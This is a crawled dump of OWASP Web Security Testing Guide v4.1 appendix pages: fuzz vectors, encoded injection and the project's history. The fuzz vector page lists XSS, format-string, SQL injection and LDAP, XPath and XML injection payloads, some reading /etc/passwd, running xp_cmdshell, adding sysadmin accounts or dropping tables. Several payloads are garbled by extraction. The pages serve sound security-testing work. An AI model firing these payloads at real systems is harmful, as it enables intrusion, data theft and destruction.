[PentesterAcademy](https://www.pentesteracademy.com/)\n\n## Deliberately Insecure Web Applications\n\n- [OWASP Vulnerable Web Applications Directory Project](https://owasp.org/www-project-vulnerable-web-applications-directory/)\n- [BadStore](https://www.vulnhub.com/entry/badstore-123,41)\n- [Damn Vulnerable Web App](http://www.dvwa.co.uk/)\n- [Mutillidae](https://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10)\n- [Stanford SecuriBench](https://suif.stanford.edu/~livshits/securibench/)\n- [Vicnum](https://sourceforge.net/projects/vicnum/)\n- [WebGoat](https://owasp.org/www-project-webgoat/)\n- [WebMaven (better known as Buggy Bank)](https://www.mavensecurity.com/about/webmaven)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6921, "slov": 639, "odkazu": 215, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:37", "sha256": "76b8c60a29ef365bd4e094517b630e39f726acc15fe0109222b207a33379bf56", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.nist.gov/system/files/documents/director/planning/report02-3.pdf", "https://www.microsoft.com/en-ca/download/details.aspx?id=1330", "https://csrc.nist.gov/publications/sp", "https://safecode.org/wp-content/uploads/2018/01/SAFECode_BestPractices0208.pdf", "https://wiki.owasp.org/index.php/OWASP_Guide_Project", "https://www.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf", "https://books.google.com/books?id=fwASXKXOolEC&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "http://www.exploitingsoftware.com/", "https://books.google.com/books?id=AO2fsAPVC34C&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "http://www.webhackingexposed.com/", "http://innocentcode.thathost.com/", "https://books.google.com/books?id=RjVjgPQsKogC&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "https://books.google.com/books?cad=0&id=SN4WegDHVCcC&printsec=frontcover&source=gbs_ge_summary_r", "https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html", "http://www.securingjava.com/", "https://www.us-cert.gov/bsi", "https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards", "https://www.mcafee.com/enterprise/en-us/search.html?q=Foundstone", "https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html", "https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was", "https://www.opensourcetesting.org/category/security/", "https://isc.sans.edu/", "http://pentestmonkey.net/cheat-sheet", "https://docs.microsoft.com/en-us/dotnet/standard/security/secure-coding-guidelines", "https://docs.oracle.com/javase/6/docs/technotes/guides/security/overview/jsoverview.html", "https://www.sans.org/", "http://www.webappsec.org/projects/", "http://projects.webappsec.org/w/page/13246988/Web%20Application%20Security%20Scanner%20List", "https://www.acunetix.com/blog/category/web-security-zone/", "http://example.com/", "https://www.pentesteracademy.com/", "https://www.vulnhub.com/entry/badstore-123,41", "http://www.dvwa.co.uk/", "https://www.irongeek.com/i.php?page=mutillidae%2Fmutillidae-deliberately-vulnerable-php-owasp-top-10", "https://suif.stanford.edu/~livshits/securibench/", "https://sourceforge.net/projects/vicnum/", "https://www.mavensecurity.com/about/webmaven", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/C-Fuzz_Vectors", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/C-Fuzz_Vectors", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/C-Fuzz_Vectors", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Fuzz Vectors"}, {"uroven": 2, "text": "Fuzz Categories"}, {"uroven": 3, "text": "Recursive Fuzzing"}, {"uroven": 3, "text": "Replacive Fuzzing"}, {"uroven": 2, "text": "Cross Site Scripting (XSS)"}, {"uroven": 2, "text": "Buffer Overflows and Format String Errors"}, {"uroven": 3, "text": "Buffer Overflows (BFO)"}, {"uroven": 4, "text": "Format String Errors (FSE)"}, {"uroven": 3, "text": "Integer Overflows (INT)"}, {"uroven": 2, "text": "SQL Injection"}, {"uroven": 3, "text": "Passive SQL Injection (SQP)"}, {"uroven": 3, "text": "Active SQL Injection (SQI)"}, {"uroven": 2, "text": "LDAP Injection"}, {"uroven": 2, "text": "XPATH Injection"}, {"uroven": 2, "text": "XML Injection"}], "markdown": "# WSTG - v4.1\n\n# Fuzz Vectors\n\nThe following are fuzzing vectors which can be used with [ZAP](https://www.zaproxy.org), or another fuzzer. [Fuzzing](https://owasp.org/www-community/Fuzzing) is the “kitchen sink” approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing. This is the simple part of the discovery phase. Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.\n\n## Fuzz Categories\n\nIn the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:\n\n- Recursive fuzzing\n- Replacive fuzzing\n\nWe examine and define each category in the sub-sections that follow.\n\n### Recursive Fuzzing\n\nRecursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:\n\n`http://www.example.com/8302fa3b`\n\nSelecting “8302fa3b” as a part of the request to be fuzzed against the set hexadecimal alphabet (i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}) falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:\n\n`http://www.example.com/00000000`\n\n`.......`\n\n`http://www.example.com/11000fff`\n\n`.......`\n\n`http://www.example.com/ffffffff`\n\n### Replacive Fuzzing\n\nReplacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:\n\n`http://www.example.com/8302fa3b`\n\nTesting against Cross Site Scripting (XSS) by sending the following fuzz vectors:\n\n`http://www.example.com/>\">&`\n\n`http://www.example.com/'';!--\"=&{()}`\n\nThis is a form of replacive fuzzing. In this category, the total number of requests is dependent on the number of fuzz vectors specified.\n\nThe remainder of this appendix presents a number of fuzz vector categories.\n\n## Cross Site Scripting (XSS)\n\nFor details on XSS: [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/)\n\n`>\">&`\n\n`\">`\n\n`>\"'>`\n\n`>%22%27>`\n\n`'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'`\n\n`\">`\n\n`>\"`\n\n`'';!--\"=&{()}`\n\n``\n\n``\n\n``\n\n`")>`\n\n`#115;crip&#116;:a`\n\n`le&#114;t('XS;S')>`\n\n`#0000118as&#0000099ri&#0000112t:`\n\n`&#0000097le&#0000114t(&#0000039XS&#0000083')>`\n\n`#x63ript:&#x61lert(`\n\n`&#x27XSS')>`\n\n`'XSS');\">`\n\n`'XSS');\">`\n\n`'XSS');\">`\n\n## Buffer Overflows and Format String Errors\n\n### Buffer Overflows (BFO)\n\nA buffer overflow or memory corruption attack is a programming condition which allows overflowing of valid data beyond its prelocated storage limit in memory.\n\nFor details on Buffer Overflows: [Testing for Buffer Overflow](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow)\n\nNote that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.\n\n`A x 5`\n\n`A x 17`\n\n`A x 33`\n\n`A x 65`\n\n`A x 129`\n\n`A x 257`\n\n`A x 513`\n\n`A x 1024`\n\n`A x 2049`\n\n`A x 4097`\n\n`A x 8193`\n\n`A x 12288`\n\n#### Format String Errors (FSE)\n\nFormat string attacks are a class of vulnerabilities that involve supplying language specific format tokens to execute arbitrary code or crash a program. Fuzzing for such errors has as an objective to check for unfiltered user input.\n\nAn excellent introduction on FSE can be found in the USENIX paper entitled: [Detecting Format String Vulnerabilities with Type Qualifiers](https://www.microsoft.com/en-us/research/publication/detecting-format-string-vulnerabilities-with-type-qualifiers/)\n\nNote that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.\n\n`%s%p%x%d`\n\n`.1024d`\n\n`%.2049d`\n\n`%p%p%p%p`\n\n`%x%x%x%x`\n\n`%d%d%d%d`\n\n`%s%s%s%s`\n\n`%99999999999s`\n\n`%08x`\n\n`%%20d`\n\n`%%20n`\n\n`%%20x`\n\n`%%20s`\n\n`%s%s%s%s%s%s%s%s%s%s`\n\n`%p%p%p%p%p%p%p%p%p%p`\n\n`%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%`\n\n`%s x 129`\n\n`%x x 257`\n\n### Integer Overflows (INT)\n\nInteger overflow errors occur when a program fails to account for the fact that an arithmetic operation can result in a quantity either greater than a data type’s maximum value or less than its minimum value. If a tester can cause the program to perform such a memory allocation, the program can be potentially vulnerable to a buffer overflow attack.\n\n`-1`\n\n`0`\n\n`0x100`\n\n`0x1000`\n\n`0x3fffffff`\n\n`0x7ffffffe`\n\n`0x7fffffff`\n\n`0x80000000`\n\n`0xfffffffe`\n\n`0xffffffff`\n\n`0x10000`\n\n`0x100000`\n\n## SQL Injection\n\nThis attack can affect the database layer of an application and is typically present when user input is not filtered for SQL statements.\n\nFor details on Testing SQL Injection: [Testing for SQL Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)\n\nSQL Injection is classified in the following two categories, depending on the exposure of database information (passive) or the alteration of database information (active).\n\n- Passive SQL Injection\n- Active SQL Injection\n\nActive SQL Injection statements can have a detrimental effect on the underlying database if successfully executed.\n\n### Passive SQL Injection (SQP)\n\n`'||(elt(-3+5,bin(15),ord(10),hex(char(45))))`\n\n`||6`\n\n`'||'6`\n\n`(||6)`\n\n`' OR 1=1--`\n\n`OR 1=1`\n\n`' OR '1'='1`\n\n`; OR '1'='1'`\n\n`%22+or+isnull%281%2F0%29+%2F*`\n\n`%27+OR+%277659%27%3D%277659`\n\n`%22+or+isnull%281%2F0%29+%2F*`\n\n`%27+--+`\n\n`' or 1=1--`\n\n`\" or 1=1--`\n\n`' or 1=1 /*`\n\n`or 1=1--`\n\n`' or 'a'='a`\n\n`\" or \"a\"=\"a`\n\n`') or ('a'='a`\n\n`Admin' OR '`\n\n`'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--`\n\n`) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;`\n\n`' having 1=1--`\n\n`' having 1=1--`\n\n`' group by userid having 1=1--`\n\n`' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--`\n\n`' or 1 in (select @@version)--`\n\n`' union all select @@version--`\n\n`' OR 'unusual' = 'unusual'`\n\n`' OR 'something' = 'some'+'thing'`\n\n`' OR 'text' = N'text'`\n\n`' OR 'something' like 'some%'`\n\n`' OR 2 > 1`\n\n`' OR 'text' > 't'`\n\n`' OR 'whatever' in ('whatever')`\n\n`' OR 2 BETWEEN 1 and 3`\n\n`' or username like char(37);`\n\n`' union select * from users where login = char(114,111,111,116);`\n\n`' union select`\n\n`Password:*/=1--`\n\n`UNI/**/ON SEL/**/ECT`\n\n`'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'`\n\n`'; EXEC ('SEL' + 'ECT US' + 'ER')`\n\n`'/**/OR/**/1/**/=/**/1`\n\n`' or 1/*`\n\n`+or+isnull%281%2F0%29+%2F*`\n\n`%27+OR+%277659%27%3D%277659`\n\n`%22+or+isnull%281%2F0%29+%2F*`\n\n`%27+--+&password=`\n\n`'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >`\n\n`@var select @var as var into temp end --`\n\n`' and 1 in (select var from temp)--`\n\n`' union select 1,load_file('/etc/passwd'),1,1,1;`\n\n`1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;`\n\n`' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));`\n\n### Active SQL Injection (SQI)\n\n`'; exec master..xp_cmdshell 'ping 10.10.1.2'--`\n\n`CREATE USER name IDENTIFIED BY 'pass123'`\n\n`CREATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;`\n\n`' ; drop table temp --`\n\n`exec sp_addlogin 'name' , 'password'`\n\n`exec sp_addsrvrolemember 'name' , 'sysadmin'`\n\n`INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))`\n\n`GRANT CONNECT TO name; GRANT RESOURCE TO name;`\n\n`INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)`\n\n`+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)`\n\n## LDAP Injection\n\nFor details on LDAP Injection: [Testing for LDAP Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection)\n\n`|`\n\n`!`\n\n`(`\n\n`)`\n\n`%28`\n\n`%29`\n\n`&`\n\n`%26`\n\n`%21`\n\n`%7C`\n\n`*|`\n\n`%2A%7C`\n\n`*(|(mail=*))`\n\n`%2A%28%7C%28mail%3D%2A%29%29`\n\n`*(|(objectclass=*))`\n\n`%2A%28%7C%28objectclass%3D%2A%29%29`\n\n`*()|%26'`\n\n`admin*`\n\n`admin*)((|userPassword=*)`\n\n`*)(uid=*))(|(uid=*`\n\n## XPATH Injection\n\nFor details on XPATH Injection: [Testing for XPath Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection)\n\n`'+or+'1'='1`\n\n`'+or+''='`\n\n`x'+or+1=1+or+'x'='y`\n\n`/`\n\n`//`\n\n`//*`\n\n`*/*`\n\n`@*`\n\n`count(/child::node())`\n\n`x'+or+name()='username'+or+'x'='y`\n\n## XML Injection\n\nDetails on XML Injection here: [Testing for XML Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection)\n\n`var n=0;while(true){n++;}]]>`\n\n`SCRIPT]]>alert('gotcha');/SCRIPT]]>`\n\n``\n\n`]>&xee;`\n\n`]>&xee;`\n\n`]>&xee;`\n\n`]>&xee;`\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10356, "slov": 1292, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:38", "sha256": "4c36bf37f95f3365fd07bda7ace249e43d25105be2db0e53b0f1f0d1621320f7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://www.microsoft.com/en-us/research/publication/detecting-format-string-vulnerabilities-with-type-qualifiers/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/D-Encoded_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/D-Encoded_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/D-Encoded_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Encoded Injection"}, {"uroven": 2, "text": "Background"}, {"uroven": 2, "text": "Input Encoding – Filter Evasion"}, {"uroven": 2, "text": "Output Encoding – Server & Browser Consensus"}, {"uroven": 3, "text": "Encoded Injections"}, {"uroven": 3, "text": "Basic Encoding"}, {"uroven": 3, "text": "Hex Encoding"}, {"uroven": 3, "text": "UTF-7 Encoding"}, {"uroven": 3, "text": "Multi-byte Encoding"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Encoded Injection\n\n## Background\n\nCharacter encoding is the process of mapping characters, numbers and other symbols to a standard format. Typically, this is done to create a message ready for transmission between sender and receiver. It is, in simple terms, the conversion of characters (belonging to different languages like English, Chinese, Greek or any other known language) into bytes. An example of a widely used character encoding scheme is the American Standard Code for Information Interchange (ASCII) that initially used 7-bit codes. More recent examples of encoding schemes would be the Unicode `UTF-8` and `UTF-16` computing industry standards.\n\nIn the space of application security and due to the plethora of encoding schemes available, character encoding has a popular misuse. It is being used for encoding malicious injection strings in a way that obfuscates them. This can lead to the bypass of input validation filters, or take advantage of particular ways in which browsers render encoded text.\n\n## Input Encoding – Filter Evasion\n\nWeb applications usually employ different types of input filtering mechanisms to limit the input that can be submitted by the user. If these input filters are not implemented sufficiently well, it is possible to slip a character or two through these filters. For instance, a `/` can be represented as `2F` (hex) in ASCII, while the same character (`/`) is encoded as `C0` `AF` in Unicode (2 byte sequence). Therefore, it is important for the input filtering control to be aware of the encoding scheme used. If the filter is found to be detecting only `UTF-8` encoded injections, a different encoding scheme may be employed to bypass this filter.\n\n## Output Encoding – Server & Browser Consensus\n\nWeb browsers need to be aware of the encoding scheme used to coherently display a web page. Ideally, this information should be provided to the browser in the HTTP header (`Content-Type`) field, as shown below:\n\n`Content-Type: text/html; charset=UTF-8`\n\nor through HTML META tag (`META HTTP-EQUIV`), as shown below:\n\n```\n \n```\n\nIt is through these character encoding declarations that the browser understands which set of characters to use when converting bytes to characters. Note that the content type mentioned in the HTTP header has precedence over the META tag declaration.\n\nCERT describes it here as follows:\n\nMany web pages leave the character encoding (`charset` parameter in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to `ISO-8859-1` if it wasn’t defined. In fact, many browsers had a different default, so it was not possible to rely on the default being `ISO-8859-1`. HTML version 4 legitimizes this - if the character encoding isn’t specified, any character encoding can be used.\n\nIf the web server doesn’t specify which character encoding is in use, it can’t tell which characters are special. Web pages with unspecified character encoding work most of the time because most character sets assign the same characters to byte values below 128. But which of the values above 128 are special? Some 16-bit `character-encoding` schemes have additional multi-byte representations for special characters such as `<`. Some browsers recognize this alternative encoding and act on it. This is “correct” behavior, but it makes attacks using malicious scripts much harder to prevent. The server simply doesn’t know which byte sequences represent the special characters.\n\nTherefore in the event of not receiving the character encoding information from the server, the browser either attempts to `guess` the encoding scheme or reverts to a default scheme. In some cases, the user explicitly sets the default encoding in the browser to a different scheme. Any such mismatch in the encoding scheme used by the web page (server) and the browser may cause the browser to interpret the page in a manner that is unintended or unexpected.\n\n### Encoded Injections\n\nAll the scenarios given below form only a subset of the various ways obfuscation can be achieved to bypass input filters. Also, the success of encoded injections depends on the browser in use. For example, `US-ASCII` encoded injections were previously successful only in IE browser but not in Firefox. Therefore, it may be noted that encoded injections, to a large extent, are browser dependent.\n\n### Basic Encoding\n\nConsider a basic input validation filter that protects against injection of single quote character. In this case the following injection would easily bypass this filter:\n\n```\n \n```\n\n`String.fromCharCode` JavaScript function takes the given Unicode values and returns the corresponding string. This is one of the most basic forms of encoded injections. Another vector that can be used to bypass this filter is:\n\n```\n \n```\n\n```\n (Numeric reference)\n```\n\nThe above uses HTML Entities to construct the injection string. HTML Entities encoding is used to display characters that have a special meaning in HTML. For instance, `>` works as a closing bracket for a HTML tag. In order to actually display this character on the web page HTML character entities should be inserted in the page source. The injections mentioned above are one way of encoding. There are numerous other ways in which a string can be encoded (obfuscated) in order to bypass the above filter.\n\n### Hex Encoding\n\nHex, short for Hexadecimal, is a base 16 numbering system i.e it has 16 different values from `0` to `9` and `A` to `F` to represent various characters. Hex encoding is another form of obfuscation that is sometimes used to bypass input validation filters. For instance, hex encoded version of the string `` is\n\n```\n \n```\n\nA variation of the above string is given below. Can be used in case ‘%’ is being filtered:\n\n```\n \n```\n\nThere are other encoding schemes, such as Base64 and Octal, that may be used for obfuscation. Although, every encoding scheme may not work every time, a bit of trial and error coupled with intelligent manipulations would definitely reveal the loophole in a weakly built input validation filter.\n\n### UTF-7 Encoding\n\nUTF-7 encoding of\n\n```\n \n```\n\nis as below\n\n`+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`\n\nFor the above script to work, the browser has to interpret the web page as encoded in `UTF-7`.\n\n### Multi-byte Encoding\n\nVariable-width encoding is another type of character encoding scheme that uses codes of varying lengths to encode characters. Multi-Byte Encoding is a type of variable-width encoding that uses varying number of bytes to represent a character. Multi-byte encoding is primarily used to encode characters that belong to a large character set e.g. Chinese, Japanese and Korean.\n\nMultibyte encoding has been used in the past to bypass standard input validation functions and carry out cross site scripting and SQL injection attacks.\n\n## References\n\n- [Encoding (Semiotics)](https://en.wikipedia.org/wiki/Encoding_(semiotics))\n- [HTML Entities](https://www.w3schools.com/HTML/html_entities.asp)\n- [How to prevent input validation attacks](https://searchsecurity.techtarget.com/answer/How-to-prevent-input-validation-attacks)\n- [Unicode and Character Sets](https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7765, "slov": 1193, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:39", "sha256": "95ccba221ca70f56fd632204b7e1ddb8e2b13f99a71663fa06905cbed2fd9a33", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Encoding_(semiotics)", "https://www.w3schools.com/HTML/html_entities.asp", "https://searchsecurity.techtarget.com/answer/How-to-prevent-input-validation-attacks", "https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/E-History", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/E-History", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/E-History", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "History"}, {"uroven": 2, "text": "Leaders"}, {"uroven": 2, "text": "v4 Authors"}, {"uroven": 2, "text": "v4 Reviewers"}, {"uroven": 2, "text": "v3 Authors"}, {"uroven": 2, "text": "v3 Reviewers"}, {"uroven": 2, "text": "v2 Authors"}, {"uroven": 2, "text": "v2 Reviewers"}], "markdown": "# WSTG - v4.1\n\n# History\n\nThe Testing Guide v4 was released in 2014. The Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to Eoin Keary in 2005 and transformed into a wiki. Matteo Meucci has taken on the Testing guide and is now the lead of the OWASP Testing Guide Project. From 2013 Andrew Muller co-lead the project with Matteo Meucci into 2018/2019.\n\n- September, 2014 : “OWASP Testing Guide”, Version 4.0\n- September, 2008 : “OWASP Testing Guide”, Version 3.0\n- December, 2006 : “OWASP Testing Guide”, Version 2.0\n- July, 2004 : “OWASP Web Application Penetration Checklist”, Version 1.1\n- December, 2004 : “The OWASP Testing Guide”, Version 1.0\n\n## Leaders\n\n- Matteo Meucci: OWASP Testing Guide Lead since 2007.\n- Andrew Muller: OWASP Testing Guide Lead 2013-2019.\n- Eoin Keary: OWASP Testing Guide Lead 2005-2007.\n- Daniel Cuthbert: OWASP Testing Guide Lead 2003-2005.\n\n## v4 Authors\n\n```\n- Matteo Meucci - Thomas Ryan - Mike Hryekewicz - Eduardo Castellano - Babu Arokiadas\n- Pavol Luptak - Tim Bertels - Simon Bennetts - Simone Onofri - Rob Barnes\n- Marco Morana - Cecil Su - Ray Schippers - Harword Sheen - Ben Walther\n- Giorgio Fedon - Aung KhAnt - Raul Siles - Amro AlOlaqi - Anant Shrivastava\n- Stefano Di Paola - Norbert Szetei - Jayanta Karmakar - Suhas Desai - Colin Watson\n- Gianrico Ingrosso - Michael Boman - Brad Causey - Ryan Dewhurst - Luca Carettoni\n- Giuseppe Bonfà - Wagner Elias - Vicente Aguilera - Zaki Akhmad - Eoin Keary\n- Andrew Muller - Kevin Horvat - Ismael Gonçalves - Davide Danelon - Jeff Williams\n- Robert Winkel - Tom Brennan - David Fern - Alexander Antukh - Juan Manuel Bahamonde\n- Roberto Suggi Liverani - Tomas Zatko - Tom Eston - Thomas Kalamaris - Thomas Skora\n- Tripurari Rai - Juan Galiana Lara - Kevin Horvath - Alexander Vavousis - Irene Abezgauz\n- Robert Smith - Sumit Siddharth - Rick Mitchell - Christian Heinrich - Hugo Costa\n```\n\n## v4 Reviewers\n\n```\n- Davide Danelon - Andrea Rosignoli - Irene Abezgauz\n- Lode Vanstechelman - Sebastien Gioria - Yiannis Pavlosoglou\n- Aditya Balapure\n```\n\n## v3 Authors\n\n```\n- Anurag Agarwwal - Giorgio Fedon - Gianrico Ingrosso - Mark Roxberry\n- Ferruh Mavituna - Antonio Parata - Andrew Van der Stock - Marco Mella\n- Daniele Bellucci - Adam Goodman - Roberto Suggi Liverani - Cecil Su\n- Kevin Horvath - Marco Morana - Harish Skanda Sureddy - Pavol Luptak\n- Matteo Meucci - Stefano Di Paola - Christian Heinrich - Marco Morana\n```\n\n## v3 Reviewers\n\n```\n- Marco Cova - Matteo Meucci - Rick Mitchell\n- Kevin Fuller - Nam Nguyen\n```\n\n## v2 Authors\n\n```\n- Vicente Aguilera - David Endler - Matteo Meucci - Anush Shetty\n- Mauro Bregolin - Giorgio Fedon - Marco Morana - Larry Shields\n- Tom Brennan - Javier Fernández-Sanguino - Laura Nunez - Dafydd Studdard\n- Gary Burns - Andrew van der Stock - Glyn Geoghegan - Gunter Ollmann\n- Luca Carettoni - Sebastien Deleersnyder - Antonio Parata - Ariel Waissbein\n- Dan Cornell - Madhura Halasgikar - Yiannis Pavlosoglou - Jeff Williams\n- Mark Curphey - Eoin Keary - Carlo Pelliccioni - Tushar Vartak\n- Daniel Cuthbert - David Litchfield - Harinath Pudipeddi - Tom Ryan\n- Stan Guzik - Andrea Lombardini - Alberto Revelli - Claudio Merloni\n- Stephen DeVries - Ralph M. Los - Stefano Di Paola - Mark Roxberry\n```\n\n## v2 Reviewers\n\n```\n- Vicente Aguilera - Mauro Bregolin - Daniel Cuthbert - Stefano Di Paola\n- Simona Forti - Eoin Keary - Katie McDowell - Matteo Meucci\n- Antonio Parata - Mark Roxberry - Marco Belotti - Marco Cova\n- Paul Davies - Matteo G.P. Flora - Darrell Groundy - James Kist\n- Marco Mella - Syed Mohamed A. - Alberto Revelli - Dave Wichers\n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3393, "slov": 483, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:40", "sha256": "fb711864f0387efb5e177cb341b6fd3527e5278f9a5168abb699932e90ab0da1", "hloubka": 2, 